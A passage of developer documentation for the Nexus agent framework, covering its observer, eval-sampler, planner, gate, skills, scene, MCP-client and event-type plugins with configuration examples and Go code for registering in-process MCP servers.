journal.Writer.SubscribeProjection(["thinking.step", "plan.progress"], handler). Handlers fire synchronously after the writer has flushed each envelope to disk. - Post-mortem, walking the journal directory:
journal.ProjectFile(journalDir, []string{"thinking.step", "plan.progress"}, handler). Useful for regenerating derived views after a recall or crash.
Thinking Step Payload
{
"turn_id": "abc123",
"source": "nexus.agent.react",
"content": "The user wants to refactor the auth module...",
"phase": "reasoning",
"timestamp": "2026-04-08T10:30:00Z"
}
Phases: planning, executing, reasoning.
Example Configuration
# Just activate it — no config needed
nexus.observe.thinking: {}
OpenTelemetry Observer
Exports all bus events as OpenTelemetry traces via OTLP. Creates one trace per session with individual spans for each event. Rich span attributes are extracted from LLM, tool, agent, and error payloads.
Details
| ID | nexus.observe.otel |
| Dependencies | None |
Configuration
| Key | Type | Default | Description |
|---|---|---|---|
endpoint | string | localhost:4317 | OTLP collector endpoint |
protocol | string | grpc | Transport protocol: grpc or http |
insecure | bool | true | Skip TLS verification |
service_name | string | nexus | OTel service name reported to collector |
exclude_events | list | [] | Event types to skip. Supports prefix wildcards (e.g. llm.stream.*) |
Events
Subscribes To
Uses SubscribeAll() — receives every event in the system (minus excluded events).
Emits
None.
Trace Structure
Each Nexus session produces one trace:
- Root span:
nexus.session— spans the full session lifetime with session ID attribute. - Child spans: One per bus event, named by event type (e.g.
llm.request,tool.invoke).
All spans include base attributes:
nexus.event.id— unique event IDnexus.event.type— event type stringnexus.event.source— emitting plugin IDnexus.event.timestamp_unix_ms— event timestamp
Rich Attributes by Event Type
LLM requests (llm.request):
nexus.llm.role,nexus.llm.model,nexus.llm.max_tokens,nexus.llm.streamnexus.llm.message_count,nexus.llm.tool_count,nexus.llm.temperature
LLM responses (llm.response):
nexus.llm.model,nexus.llm.finish_reasonnexus.llm.usage.prompt_tokens,nexus.llm.usage.completion_tokens,nexus.llm.usage.total_tokensnexus.llm.tool_call_count
Tool calls (tool.invoke):
nexus.tool.id,nexus.tool.name,nexus.tool.turn_id
Tool results (tool.result):
nexus.tool.id,nexus.tool.name,nexus.tool.has_error,nexus.tool.error
Agent turns (agent.turn):
nexus.agent.turn_id,nexus.agent.iteration,nexus.agent.session_id
Subagent events:
nexus.subagent.spawn_id,nexus.subagent.task,nexus.subagent.iterations,nexus.subagent.usage.total_tokens
Vetoable events (before:*):
nexus.veto.vetoed,nexus.veto.reason(when vetoed)- Plus attributes from the wrapped original payload
Example Configuration
plugins:
active:
- nexus.observe.otel
# Export to local Jaeger via gRPC
nexus.observe.otel:
endpoint: "localhost:4317"
protocol: grpc
insecure: true
service_name: nexus
exclude_events:
- llm.stream.chunk
- core.tick
# Export to remote collector via HTTP
nexus.observe.otel:
endpoint: "otel-collector.example.com:4318"
protocol: http
insecure: false
service_name: my-agent
Backends
Any OTLP-compatible backend works:
- Jaeger — local development,
docker run -p 4317:4317 -p 16686:16686 jaegertracing/jaeger:latest - Grafana Tempo — production tracing
- Honeycomb — managed observability
- SigNoz — open source APM
Online Eval Sampler
Opt-in observer plugin that snapshots a configurable fraction of live session journals (plus every failed session, when failure-capture is on) into a local directory so the eval pipeline can score them later.
The sampler is off by default. It does not appear in any of the
shipped configs; activating it is a deliberate two-step opt-in: list the
plugin in plugins.active, then set enabled: true in its config block.
Omitting either step keeps the plugin inert — Subscriptions() returns
empty, no bus traffic, no disk writes.
Details
| ID | nexus.observe.sampler |
| Source | plugins/observe/sampler/plugin.go |
| Dependencies | None — the journal is core, not a plugin |
| Capabilities | None |
| Default state | Disabled |
Why it exists
Promotion (nexus eval promote, see Promoting a Session)
turns a real session into a deterministic eval case in one command. But
the operator has to know a session is interesting before promoting it.
The sampler closes that loop:
- A small fraction of normal sessions land on disk so a sample of the workload is always available for offline scoring.
- Every failed session is captured automatically (no “I forgot to keep that one”), preserving the journal exactly as it was when it failed.
The captured directory is in the same shape nexus eval promote
accepts as input — so a captured session can be promoted to a fully
deterministic case without any intermediate transformation.
Configuration
Per the configuration reference:
plugins:
active:
- nexus.observe.sampler
nexus.observe.sampler:
enabled: false # master switch (default false)
rate: 0.0 # fraction of normal sessions captured (0..1)
failure_capture: true # always capture status != completed/active
out_dir: ~/.nexus/eval/samples # path expanded via engine.ExpandPath
Init (plugins/observe/sampler/plugin.go:96) validates rate ∈ [0, 1]
when enabled: true and creates out_dir ahead of any captures.
What gets written
For each captured session, the sampler writes:
<out_dir>/<session-id>/
journal/
header.json # exact copy of the source journal header
events.jsonl # active segment (byte-for-byte under IdentityRedactor)
events-001.jsonl.zst # rotated segments, byte-for-byte
cache/... # tool result cache, byte-for-byte
metadata.json # provenance: captured_at, reason, sampling_rate_at_capture, session_status, engine_version
<session-id> is the live session’s ID — not a fresh ID per sample.
Re-running the sampler against the same session is idempotent: the
plugin’s in-memory captured set short-circuits a duplicate capture in
the same engine lifetime.
The journal/ subtree is produced by
pkg/iocopy.CopyDir — the same helper
the promote pipeline uses, so the two paths cannot drift.
Capture decision
Every io.session.end runs through Plugin.decide
(plugins/observe/sampler/plugin.go:194):
- If
failure_capture: trueand the session’smetadata/session.jsonstatusis anything other thanactiveorcompleted, return("failure_capture", true)and snapshot. - Else, if
rate <= 0, skip. - Else, if
rate >= 1, return("sampled", true)and snapshot. - Else, roll a
[0, 1)float againstrate. Capture on hit.
Tests inject a deterministic RNG via the package-private
Plugin.SetRandSource so the rate path is reproducible:
p := New().(*Plugin)
p.SetRandSource(rand.New(rand.NewSource(42)))
The eval.candidate event
Every capture emits one eval.candidate envelope:
type EvalCandidate struct {
SessionID string `json:"session_id"`
CaseDir string `json:"case_dir"`
Reason string `json:"reason"` // "sampled" or "failure_capture"
Warnings []string `json:"warnings,omitempty"`
}
Downstream tooling (a future nexus eval list-candidates, an external
ingestion backend, a UI badge) can subscribe to eval.candidate and
enumerate captures without scanning out_dir itself. Definition:
plugins/observe/sampler/events.go:1.
Redaction
The sampler accepts a pluggable Redactor
(plugins/observe/sampler/redact.go:12):
type Redactor interface {
Redact(eventType string, payload []byte) ([]byte, error)
}
v1 ships only the IdentityRedactor (no-op). When a non-identity
redactor is configured, the sampler walks the active events.jsonl
segment line-by-line after the byte copy and rewrites each envelope’s
payload through the redactor. A nil return wipes the payload while
preserving envelope metadata (seq, type, ts).
Limitation. Compressed
*.jsonl.zstrotated segments are byte-copied as-is in v1 — round-tripping zstd would expand the dependency surface. If a non-identity redactor matters for rotated segments, surface the case as a follow-up issue and design a streaming rewrite path.
Integration with nexus eval promote
The on-disk shape under out_dir/<session-id>/journal/ is exactly what
pkg/eval/promote consumes. A future
follow-up will let nexus eval promote --session ~/.nexus/eval/samples/<id>
pick up a sampled directory directly. Today the same end can be reached
with one symlink or copy into ~/.nexus/sessions/ and the regular
promote flow.
The metadata.json sibling carries the bookkeeping that promote does
not need (captured_at, sampling_rate_at_capture, etc.) — it is
provenance for analytics, not state for replay.
Privacy posture
- Off by default. No data is captured without an explicit config opt-in.
out_diris local to the host. The plugin makes zero network calls.- A
Redactorhook is in place from day one. The default is identity; custom redactors are an API-only contract — no surface area in the YAML schema yet. - Sampled bytes are subject to the same retention rules the operator
applies to
out_diritself; the plugin never deletes its own output.
Events
Subscribes To
| Event | Priority | Purpose |
|---|---|---|
io.session.end | 0 (low) | Run decide → snapshot → emit eval.candidate. Lowest priority so end-of-session writers (journal, memory persisters) finalize first. |
Emits
| Event | Payload | When |
|---|---|---|
eval.candidate | EvalCandidate | After a successful snapshot. |
Planner Plugins
Planners generate execution plans before the agent starts iterating. They’re optional — enable them when you want structured task decomposition before action.
Available Planners
| Plugin | ID | Strategy |
|---|---|---|
| Dynamic Planner | nexus.planner.dynamic | LLM generates a plan from the user’s input |
| Static Planner | nexus.planner.static | Returns a fixed set of steps from config |
How Planning Works
- The agent (with
planning: true) emitsplan.requestwith the user’s input - The active planner generates a plan
- Plan is delivered via
plan.result - Optionally, the user is asked to approve via
plan.approval.request - The agent injects the plan into its system prompt and begins iteration
Plan Persistence
Plans are persisted to the session under plugins/<planner-id>/<plan-id>/:
| File | Content |
|---|---|
plan.json | The generated plan steps |
request.json | The original plan request |
approval.json | The approval decision (if applicable) |
Dynamic Planner
Uses an LLM to generate an execution plan from the user’s input. The plan is a sequence of steps with descriptions and optional detailed instructions.
Details
| ID | nexus.planner.dynamic |
| Dependencies | None |
Configuration
| Key | Type | Default | Description |
|---|---|---|---|
approval | string | always | Approval mode: always (user must approve), never (skip), auto (LLM decides) |
model_role | string | (default) | Model role for plan generation |
max_steps | int | 10 | Maximum number of plan steps |
plan_prompt | string | (built-in) | Custom inline planning prompt |
plan_prompt_file | string | (none) | Path to a custom planning prompt file |
Events
Subscribes To
| Event | Priority | Purpose |
|---|---|---|
plan.request | 50 | Receives plan generation requests |
llm.response | 50 | Receives the LLM’s generated plan |
Emits
| Event | When |
|---|---|
plan.result | Plan generated and ready |
thinking.step | Planning reasoning |
io.status | Status updates during plan generation |
How It Works
- Receives
plan.requestwith user input - Constructs a prompt asking the LLM to generate a JSON plan
- Sends
llm.requesttagged withMetadata["_source"]so the ReAct agent ignores this response - Parses the LLM response as JSON steps
- Emits
plan.resultwith the steps
Approval Modes
| Mode | Behavior |
|---|---|
always | User must explicitly approve before execution |
never | Plan is executed immediately |
auto | The LLM includes a risk assessment; low-risk plans skip approval |
Example Configuration
nexus.planner.dynamic:
approval: auto
max_steps: 10
model_role: reasoning
Static Planner
Returns a pre-configured set of steps from the YAML config. No LLM call is needed — the plan is always the same regardless of input. Useful for enforcing a consistent workflow.
Details
| ID | nexus.planner.static |
| Dependencies | None |
Configuration
| Key | Type | Default | Description |
|---|---|---|---|
approval | string | never | Approval mode: always, never, auto (defaults to never for static) |
summary | string | (none) | Human-readable summary of the plan |
steps | list | (required) | List of step objects |
Step Object
| Key | Type | Required | Description |
|---|---|---|---|
description | string | Yes | What this step does |
instructions | string | No | Detailed instructions for the agent |
Events
Subscribes To
| Event | Priority | Purpose |
|---|---|---|
plan.request | 50 | Receives plan requests |
Emits
| Event | When |
|---|---|
plan.result | Immediately returns the configured plan |
Example Configuration
nexus.planner.static:
approval: never
summary: "Standard coding workflow"
steps:
- description: "Analyze the request and identify affected files"
- description: "Plan the implementation approach"
- description: "Implement the changes"
- description: "Verify correctness"
- description: "Summarize what was done"
With Detailed Instructions
nexus.planner.static:
approval: always
summary: "Code review workflow"
steps:
- description: "Read the changed files"
instructions: "Use the file tool to read all files mentioned in the request. Understand the full context."
- description: "Identify issues"
instructions: "Check for bugs, security issues, performance problems, and style violations."
- description: "Write the review"
instructions: "Summarize findings by severity. Include code suggestions for each issue."
Gates
Gates are plugins that subscribe to before:* events and may veto them
before the corresponding action takes effect. They are how Nexus enforces
iteration limits, banned content, token budgets, schema validation, rate
limits, and similar guardrails — without baking the policy into agents or
providers.
Plugins
| Plugin | Vetoes | Purpose |
|---|---|---|
nexus.gate.endless_loop | before:llm.request | Cap LLM calls per turn (replaces agent max_iterations). |
nexus.gate.stop_words | before:llm.request, before:io.output | Block messages containing banned terms. |
nexus.gate.token_budget | before:llm.request | Cap session token usage. |
nexus.gate.rate_limiter | before:llm.request | Throttle LLM call frequency (pause via gate.llm.retry, not reject). |
nexus.gate.prompt_injection | before:llm.request | Detect and block prompt-injection patterns in user input. |
nexus.gate.json_schema | before:io.output | Validate output against JSON Schema; LLM-retry on failure. |
nexus.gate.output_length | before:io.output | Cap response length; LLM-retry to compress. |
nexus.gate.content_safety | before:io.output | Block or redact PII / secrets / sensitive content. |
nexus.gate.context_window | before:llm.request | Estimate context size; trigger compaction when approaching the limit. |
nexus.gate.tool_filter | before:llm.request | Modify the tool list (allowlist / blocklist). |
nexus.gate.approval_policy | before:tool.invoke, before:llm.request | Policy-driven HITL approvals; emits before:hitl.requested then hitl.requested and applies the operator’s allow/reject/edit. |
Configuration
Every gate’s full YAML config — keys, types, defaults — is in the Configuration Reference.
Mechanics
The vetoable event system, priority ordering, and the shared gate.llm.retry
pattern are documented in .claude/docs/gates.md.
That document is the design-level reference; the configuration reference is the
keys-and-defaults reference.
Skills Plugin
Discovers, catalogs, and manages skills — reusable instruction sets that extend the agent’s behavior without writing code.
Details
| ID | nexus.skills |
| Dependencies | None |
Configuration
| Key | Type | Default | Description |
|---|---|---|---|
scan_paths | string[] | (none) | Directories to scan for skills. Required — no implicit defaults. If empty, no skills are loaded. |
trust_project | string | ask | Trust level for project-scoped skills: ask (prompt user), always, never |
max_active_skills | int | 10 | Maximum number of concurrently active skills |
catalog_in_system_prompt | bool | true | Include skill catalog in the system prompt |
disabled_skills | string[] | (none) | Skills to exclude from discovery |
Events
Subscribes To
| Event | Priority | Purpose |
|---|---|---|
core.boot | 10 | Scans for skills at startup |
skill.activate | 50 | Activates a skill by name |
skill.deactivate | 50 | Deactivates a skill |
skill.resource.read | 50 | Reads a skill’s resource files |
before:llm.request | 15 | Tags requests with _expects_schema for active skills that declare output_schema |
Emits
| Event | When |
|---|---|
skill.discover | Skills catalog assembled |
skill.loaded | Skill content loaded for the agent |
skill.resource.result | Skill resource content |
before:skill.activate | Before activation (vetoable for trust checks) |
schema.register | Skill with output_schema activated |
schema.deregister | Skill with output_schema deactivated |
Skill Discovery
At boot, the plugin scans only the directories listed in the scan_paths config — there are no implicit defaults. If scan_paths is empty or unset, no skills are loaded.
Each directory containing a SKILL.md file under a configured scan path is recognized as a skill. Scope is inferred from the resolved path: directories under the user’s home .nexus or .agents trees are treated as user scope; everything else is treated as project scope.
Tilde paths (~, ~/...) are expanded to the user’s home directory automatically.
nexus.skills:
scan_paths:
- ./skills # project skills, relative to cwd
- ~/.agents/skills # user-scope skills (tilde is expanded)
- /shared/team-skills # any other directory you want to include
System Prompt Catalog
When catalog_in_system_prompt: true, the plugin registers a prompt section listing available skills in XML format:
<skills>
<skill name="code-review" scope="project">Review code for quality, bugs, security issues, and style.</skill>
<skill name="git-workflow" scope="project">Standard git workflow with branching and PR creation.</skill>
</skills>
This lets the agent know which skills exist and can request activation when appropriate.
Trust Levels
Project-scoped skills may be untrusted. The trust_project setting controls behavior:
| Mode | Behavior |
|---|---|
ask | Show approval dialog before activating project skills |
always | Trust all project skills automatically |
never | Block all project skill activation |
User-scoped skills (paths under the user’s home .nexus or .agents trees) are always trusted.
Example Configuration
nexus.skills:
trust_project: ask
max_active_skills: 5
catalog_in_system_prompt: true
scan_paths:
- ./skills
- /shared/team-skills
disabled_skills:
- experimental-skill
For details on creating skills, see Writing Skills.
Scene Store (nexus.scene)
Owns the per-session Scene store and exposes five tools the LLM uses to construct durable, addressable, structured visual output: charts, dashboards, multi-section documents.
Details
| ID | nexus.scene |
| Capability | scene.store |
| Dependencies | (none) |
| Requires | (none) |
Configuration
No config keys today — activate the plugin in plugins.active and the
default tools register at boot.
Tool surface
| Tool | Arguments | Output |
|---|---|---|
scene_create | schema (string), content (any) | SceneHandle JSON |
scene_patch | scene_id, patch | SceneHandle JSON |
scene_get | scene_id | full Scene JSON (handle + content + history) |
scene_list | (none) | array of SceneHandle |
scene_delete | scene_id | {"deleted":true} |
Map patches merge shallow (keys in the patch overwrite); non-map patches
replace content. Schema-specific renderers wanting richer merge semantics
can plug a custom Patcher into the in-process scene.MemoryStore.
Persistence
| File | When | Contents |
|---|---|---|
<session>/plugins/nexus.scene/scenes.jsonl | Per mutation | JSONL record of every create / patch / delete. Replay reads this to reconstruct historical state. |
<session>/plugins/nexus.scene/scenes.json | On Shutdown | Full snapshot of every scene at session end. Loaded on next Init for clean restart resume. |
Events
Subscribes To
| Event | Priority | Purpose |
|---|---|---|
tool.invoke | 50 | Handle invocations of the scene_* tools. |
Emits
| Event | When |
|---|---|
tool.register | Registers each scene_* tool at boot. |
tool.result / before:tool.result | Per tool call. |
scene.created | Per scene_create. Payload includes content (the initial content). |
scene.patched | Per scene_patch. Payload includes content (the full post-merge content). |
scene.deleted | Per scene_delete. |
scene.created and scene.patched carry the scene’s full post-mutation
content so bus consumers (e.g. the AG-UI transport’s shared-state mirror) can
track scene state without a tool call. The scene store’s own patch semantics are
shallow-merge, not RFC 6902, so a consumer needing an RFC 6902 delta diffs the
full content itself.
agent_id on scene events flows from Event.Causation.AgentID so
sub-agent contributions stay attributable. See
scene events for payload shape.
Example
plugins:
active:
- nexus.io.tui
- nexus.llm.anthropic
- nexus.agent.react
- nexus.scene
- nexus.memory.capped
nexus.agent.react:
system_prompt: |
When building visual output (charts, dashboards, multi-section
documents), use the scene_create / scene_patch tools to build
durable, addressable artifacts the UI can render incrementally.
Dynamic Variables Plugin
Injects dynamic system information (date, time, OS, working directory) into the agent’s system prompt.
Details
| ID | nexus.system.dynvars |
| Dependencies | None |
Configuration
Each variable is opt-in — defaults to false and must be explicitly
enabled:
| Key | Type | Default | Description |
|---|---|---|---|
date | bool | false | Include current date |
time | bool | false | Include current time |
timezone | bool | false | Include timezone |
cwd | bool | false | Include current working directory |
session_dir | bool | false | Include session directory path |
os | bool | false | Include operating system |
Events
This plugin does not subscribe to or emit any events. It registers a prompt section via the Prompt Registry during initialization.
System Prompt Output
The plugin appends a section like this to the system prompt:
## System Info
- Date: 2026-04-08
- Time: 10:30:00
- Timezone: America/New_York
- OS: darwin
- CWD: /Users/frank/projects/myapp
- Session: ~/.nexus/sessions/abc123
Example Configuration
# Empty config → no variables emitted (every flag defaults to false).
nexus.system.dynvars: {}
# Enable only the variables you want.
nexus.system.dynvars:
date: true
cwd: true
Cancel Control Plugin
Coordinates cancellation of in-progress agent operations. Tracks active turns and routes cancellation requests to the appropriate handlers.
Details
| ID | nexus.control.cancel |
| Dependencies | None |
Configuration
No configuration options.
Events
Subscribes To
| Event | Priority | Purpose |
|---|---|---|
agent.turn.start | 10 | Tracks which turn is active |
agent.turn.end | 10 | Clears active turn tracking |
cancel.request | 10 | Receives cancellation requests from I/O |
cancel.resume | 10 | Receives resume requests |
Emits
| Event | When |
|---|---|
cancel.active | Broadcasts cancellation to all handlers |
io.status | Status updates |
How It Works
- When the user triggers a cancel (e.g., pressing a key in the TUI), the I/O plugin emits
cancel.request - The cancel controller checks if there’s an active turn
- If so, it emits
cancel.activewith the turn ID - All plugins listening for
cancel.activeabort their current work (LLM provider cancels the API call, agent stops iterating) - When the user resumes,
cancel.resumerestarts the flow
When to Use
Include this plugin when using agents that support cancellation (ReAct, Plan & Execute, Orchestrator). It’s essential for interactive workflows where the user may want to interrupt long-running operations.
plugins:
active:
- nexus.control.cancel
# ... other plugins
MCP client
Bridges one or more Model Context Protocol servers into Nexus. Each configured server contributes its tools, resources, and prompts to the running agent through the existing event bus surfaces — agents and IO plugins don’t need any MCP awareness.
Details
| ID | nexus.mcp.client |
| Source | plugins/mcp/client/ |
| Capability | mcp.client |
| Phase | 1 (no sampling; see GitHub #98) |
The plugin is developer-configured: end users never see “MCP” in the UI. Tools land in the catalog under the namespace mcp__<server>__<tool>, prompts surface as slash commands of the form /mcp.<server>.<prompt>, and resources show up as catalog tools (one generic browse/read pair per server plus auto-registered statics and templates).
Quick start
plugins:
active:
- nexus.mcp.client
# ...your usual agent + provider + IO plugins
nexus.mcp.client:
servers:
- name: fs
transport: stdio
command: npx
args: ["-y", "@modelcontextprotocol/server-filesystem", "~/projects"]
env:
NODE_ENV: production
- name: gh
transport: http
url: http://localhost:3001/mcp
headers:
Authorization: "Bearer ${GITHUB_MCP_TOKEN}"
timeout: 60s
tools:
allow: ["search_issues", "get_pr", "review_pr"]
Boot order matters only for capabilities — MCP tools are emitted via tool.register after Ready(), so any plugin that depends on the catalog being populated should subscribe rather than reading it once during init.
Tools
Every MCP tool returned from tools/list is registered into the Nexus catalog as mcp__<server>__<raw_name>. The tool’s MCP input schema becomes the catalog Parameters map verbatim, so the LLM sees the exact schema the server published.
Three generic tools are also registered per server, regardless of what the server returns:
mcp__<server>__list_resources()— returns the JSON catalog of currently available resources.mcp__<server>__read_resource(uri)— reads a resource by URI.- For each static resource (up to
auto_register_max) — a no-argmcp__<server>__resource__<slug>tool that reads that specific URI. - For each resource template —
mcp__<server>__template__<slug>whose input schema mirrors the template variables.
Filter what the catalog sees with tools.allow / tools.deny. Both lists match the raw MCP tool name (no mcp__ prefix), and deny always wins.
Resources
Resources surface as catalog tools rather than a separate event family. This keeps the LLM-callable surface uniform: it can list_resources() to discover, read_resource(uri) to fetch, or call an auto-registered slug for a single resource.
Static-resource auto-registration is capped at resources.auto_register_max (default 50). Above the cap the plugin skips per-resource registration and falls back to the generic list_resources/read_resource pair so the catalog doesn’t bloat.
Slugs are deterministic: slug(title|name|URI) + "_" + sha1(uri)[:8]. They stay stable across server restarts as long as the server returns the same URI.
When resources.subscribe_updates is true (default), the plugin subscribes to every auto-registered static. Each notifications/resources/updated from the server emits an mcp.resource.updated event onto the Nexus bus. No core consumer reads this in Phase 1 — it’s plumbed for future RAG ingest / memory plugins.
Prompts
Prompts surface as slash commands. The command shape is /<command_prefix>.<server>.<prompt>, lowercase, underscores. With command_prefix: mcp (default) and a server gh exposing a prompt review_pr, the slash command is /mcp.gh.review_pr.
Arguments use a hybrid positional + k=v syntax:
/mcp.gh.review_pr 123 verbose=true comment="needs benchmarks"
- Positional values map to the prompt’s declared arguments in order.
k=vvalues can appear anywhere; quoting with"…"allows spaces.- Missing required arguments fail before the command is dispatched.
- Unknown keys fail as well, so typos are surfaced.
When the user fires a slash command, the plugin:
- Vetoes the original
before:io.inputso memory plugins don’t record the literal slash text. - Calls
prompts/geton the right server with the parsed arguments. - Translates the returned
Message[]into a[]events.Messagekeeping each role. - Emits a fresh
io.inputwhosePreloadMessagescarries those messages. The downstream memory plugins append them in order; the agent runs as if the user had typed normally.
This routing depends on the UserInput.PreloadMessages field (schema v2). All in-tree memory plugins (capped, simple, summary_buffer) honour it. Third-party memory plugins that pin to UserInputVersion = 1 continue to work — PreloadMessages is an optional slice on the v2 struct.
Aliases
nexus.mcp.client:
aliases:
review: gh.review_pr
/review topic=plan rewrites to /mcp.gh.review_pr topic=plan before dispatch. Aliases are useful when a single MCP prompt is the canonical entry point for a workflow.
Discovery
IO plugins (and a future /help style command) can list the registered slash commands with a synchronous query:
q := &events.MCPPromptsList{SchemaVersion: events.MCPPromptsListVersion}
_ = bus.Emit("mcp.prompts.list", q)
for _, p := range q.Prompts {
// p.Command, p.Server, p.Prompt, p.Title, p.Description, p.Arguments
}
Lifecycle
lifecycle: engine (default) keeps a single connection alive for the engine’s lifetime. Tools/resources/prompts are registered once at boot. Best for almost every developer scenario.
lifecycle: session connects on io.session.start and disconnects on io.session.end. Use when the MCP server holds per-session state that can’t be expressed via MCP roots (rare today, but legal).
Failures during boot are logged at error but do not block the rest of the engine — a single broken server doesn’t take down a Nexus session.
Transports
stdio (default) launches a subprocess and speaks JSON-RPC over its stdin/stdout. The official modelcontextprotocol/go-sdk handles framing and lifecycle.
http uses the streamable HTTP transport. The SDK negotiates the session header; configure auth headers via headers (injected on every request through a wrapping http.RoundTripper). The legacy SSE transport is deliberately not exposed.
inprocess wires an in-memory transport pair (mcp.NewInMemoryTransports()) to an *mcp.Server the embedding host built and handed to the plugin. No subprocess is launched and no socket is dialled. This is the transport for hosts that embed Nexus and already have MCP tools implemented in the same binary. See In-process servers below.
In-process servers
transport: inprocess connects to a live *mcp.Server owned by the host process instead of launching one. The wiring has two halves that must agree: a Go call that registers the server under an opaque key, and a YAML server: value naming that same key.
The server key
| Required for | transport: inprocess (the config schema rejects the boot without it) |
| Type | non-empty string |
| Meaning | An opaque, host-chosen key. It is never parsed, matched against a pattern, or derived from anything — it only has to be byte-identical to the key passed to client.RegisterInProcessServer. |
If the key is absent, boot fails during schema validation naming the key. If the key is present but unregistered, boot succeeds — a broken MCP server never blocks the engine — and the connect fails with no host-injected server registered under key "…" logged at error. The symptom is a missing mcp__<server>__* namespace, not a crash.
Wiring order: register before engine.Boot
RegisterInProcessServer(key, srv)must be called beforeengine.Boot(ctx).
The plugin resolves the key while connecting, and for the default lifecycle: engine that connect happens during boot. A registration made after Boot returns is too late: the connect has already failed and the server’s tools are absent for the rest of the engine’s life. (With lifecycle: session the lookup happens at each io.session.start instead, but registering before Boot is correct for both and is the rule to follow.)
Worked example
package main
import (
"context"
"fmt"
"os"
"github.com/modelcontextprotocol/go-sdk/mcp"
"github.com/frankbardon/nexus/pkg/engine"
"github.com/frankbardon/nexus/pkg/engine/allplugins"
mcpclient "github.com/frankbardon/nexus/plugins/mcp/client"
)
// echoInput is the typed argument for the host's tool; the SDK derives the
// tool's JSON schema from this struct.
type echoInput struct {
Text string `json:"text"`
}
func main() {
ctx := context.Background()
// 1. Build the MCP server in this process with the official SDK.
srv := mcp.NewServer(&mcp.Implementation{Name: "host-tools", Version: "v0"}, nil)
mcp.AddTool(srv, &mcp.Tool{
Name: "echo",
Description: "Echo the input text back.",
}, func(_ context.Context, _ *mcp.CallToolRequest, in echoInput) (*mcp.CallToolResult, any, error) {
return &mcp.CallToolResult{
Content: []mcp.Content{&mcp.TextContent{Text: "echo: " + in.Text}},
}, nil, nil
})
// 2. Register it under a key BEFORE Boot. The YAML `server:` value must
// be exactly this string.
mcpclient.RegisterInProcessServer("host-tools", srv)
// 3. Boot as usual. The plugin resolves "host-tools" during Boot and
// connects over the in-memory transport.
eng, err := engine.New("nexus.yaml")
if err != nil {
fmt.Fprintf(os.Stderr, "engine: %v\n", err)
os.Exit(1)
}
allplugins.RegisterAll(eng.Registry)
if err := eng.Boot(ctx); err != nil {
fmt.Fprintf(os.Stderr, "boot: %v\n", err)
os.Exit(1)
}
defer func() { _ = eng.Stop(context.Background()) }()
// An embedding host owns the lifecycle and blocks however it likes —
// here, until a plugin ends the session. Don't call eng.Run: that is the
// stock CLI wrapper, it calls Boot itself and it owns signal handling.
<-eng.SessionEnded()
}
The matching nexus.yaml block:
plugins:
active:
- nexus.mcp.client
nexus.mcp.client:
servers:
- name: host
transport: inprocess
server: host-tools # must equal the RegisterInProcessServer key
lifecycle: engine
The echo tool then reaches the agent as mcp__host__echo, exactly as if it had come from a subprocess server.
The registry is process-wide
RegisterInProcessServer writes into a package-level, process-wide map. It is not scoped to an engine, an agent, or a session. Two engines booted in the same process share one key namespace, and a later registration under an existing key silently replaces the earlier one.
The concrete failure in a multi-tenant host: tenant A registers its server under host-tools, then tenant B registers its server under host-tools too. The map now holds B’s server, and tenant A’s YAML — which still says server: host-tools — connects to tenant B’s MCP server. Tenant A’s agent then calls tools bound to tenant B’s data. Nothing errors; the tools are present and answer normally.
Scope the key per tenant or per agent to avoid this, and derive the YAML value from the same identifier rather than hard-coding it — for a per-tenant engine built with engine.NewFromBytes, render the server: value into the config bytes from the same variable used for the registration key:
key := "tenant-" + tenantID + "/host-tools"
mcpclient.RegisterInProcessServer(key, srv)
// ...render `server: <key>` into the per-tenant config bytes, then
// engine.NewFromBytes(cfg) → RegisterAll → Boot.
Cleaning up: UnregisterInProcessServer
mcpclient.UnregisterInProcessServer(key)
Removes the registration. Because the map is process-wide, tests must unregister in cleanup or one test’s server stays visible to every later test in the package:
mcpclient.RegisterInProcessServer(key, srv)
t.Cleanup(func() { mcpclient.UnregisterInProcessServer(key) })
Hosts whose servers live for the whole process lifetime do not need to call it. Long-lived hosts that tear down a tenant should, so the key does not linger for the next tenant that reuses it.
Why the registry lives in the plugin package
The natural home for a host-injection seam is pkg/engine, next to eng.Registry.Register(id, factory) — the existing precedent for handing host-constructed objects to the engine before Boot. This one cannot live there: the injected object is an *mcp.Server, and the engine core deliberately does not import the MCP SDK. Only this plugin does. Putting the registry on pkg/engine would drag github.com/modelcontextprotocol/go-sdk across the engine boundary and into every binary that links the engine, MCP or not. So the registry stays in plugins/mcp/client (injected.go) and hosts import the plugin package directly.
Sampling
MCP sampling (server-asks-host-to-call-an-LLM) is deferred to Phase 2. Tracked in issue #98.
Testing
The integration tests in tests/integration/mcp_client_test.go build the fake MCP server at tests/integration/mcp_fake/ and exercise the plugin end-to-end over stdio. Run with:
go test -tags integration ./tests/integration/ -run TestMCPClient -v
No LLM provider key is required — the tests drive the bus directly and observe the plugin’s catalog, resource, and prompt projections.
The inprocess transport is covered by unit tests in plugins/mcp/client/inprocess_test.go (go test ./plugins/mcp/client/), which build a one-tool, one-resource *mcp.Server, register it, and drive tool.invoke through the in-memory transport. They are the shortest runnable reference for the wiring described in In-process servers.
Event Types Reference
Complete reference for all event types in Nexus, organized by domain.
Core Events
| Event Type | Payload | Description |
|---|---|---|
core.boot | BootConfig | Engine boot started |
core.ready | (none) | All plugins initialized and ready |
core.shutdown | ShutdownReason | Engine shutting down |
core.tick | TickInfo | Periodic heartbeat |
core.error | ErrorInfo | Error reported by a plugin |
core.config.reload.request | ConfigReloadRequest | External trigger asks the engine to re-read its config |
core.config.reload.result | ConfigReloadResult | Engine response to a reload request (success / error) |
Payloads
BootConfig
| Field | Type | Description |
|---|---|---|
ConfigPath | string | Path to the config file |
Profile | string | Profile name |
ShutdownReason
| Field | Type | Description |
|---|---|---|
Reason | string | Why: "user", "error", or "signal" |
Error | error | Associated error (if any) |
TickInfo
| Field | Type | Description |
|---|---|---|
Sequence | int | Tick counter |
Time | time.Time | When the tick occurred |
ErrorInfo
| Field | Type | Description |
|---|---|---|
Source | string | Plugin that reported the error |
Err | error | The error |
Fatal | bool | Whether this should trigger shutdown |
Retryable | bool | Whether this error class is retryable (429, 5xx) |
RetriesExhausted | bool | Provider’s own retry logic gave up |
RequestMeta | map[string]any | Echo of LLMRequest.Metadata for correlation |
core.error is vetoable — providers emit before:core.error first. The fallback plugin can veto the error to suppress it and retry with an alternate provider.
I/O Events
| Event Type | Payload | Description |
|---|---|---|
io.input | UserInput | User submitted a message |
io.output | AgentOutput | Agent produced output |
io.output.stream | OutputChunk | Streaming output chunk |
io.output.stream.end | StreamRef | Streaming complete |
io.output.clear | (none) | Clear partial streamed content (used by fallback) |
io.status | StatusUpdate | Agent state changed |
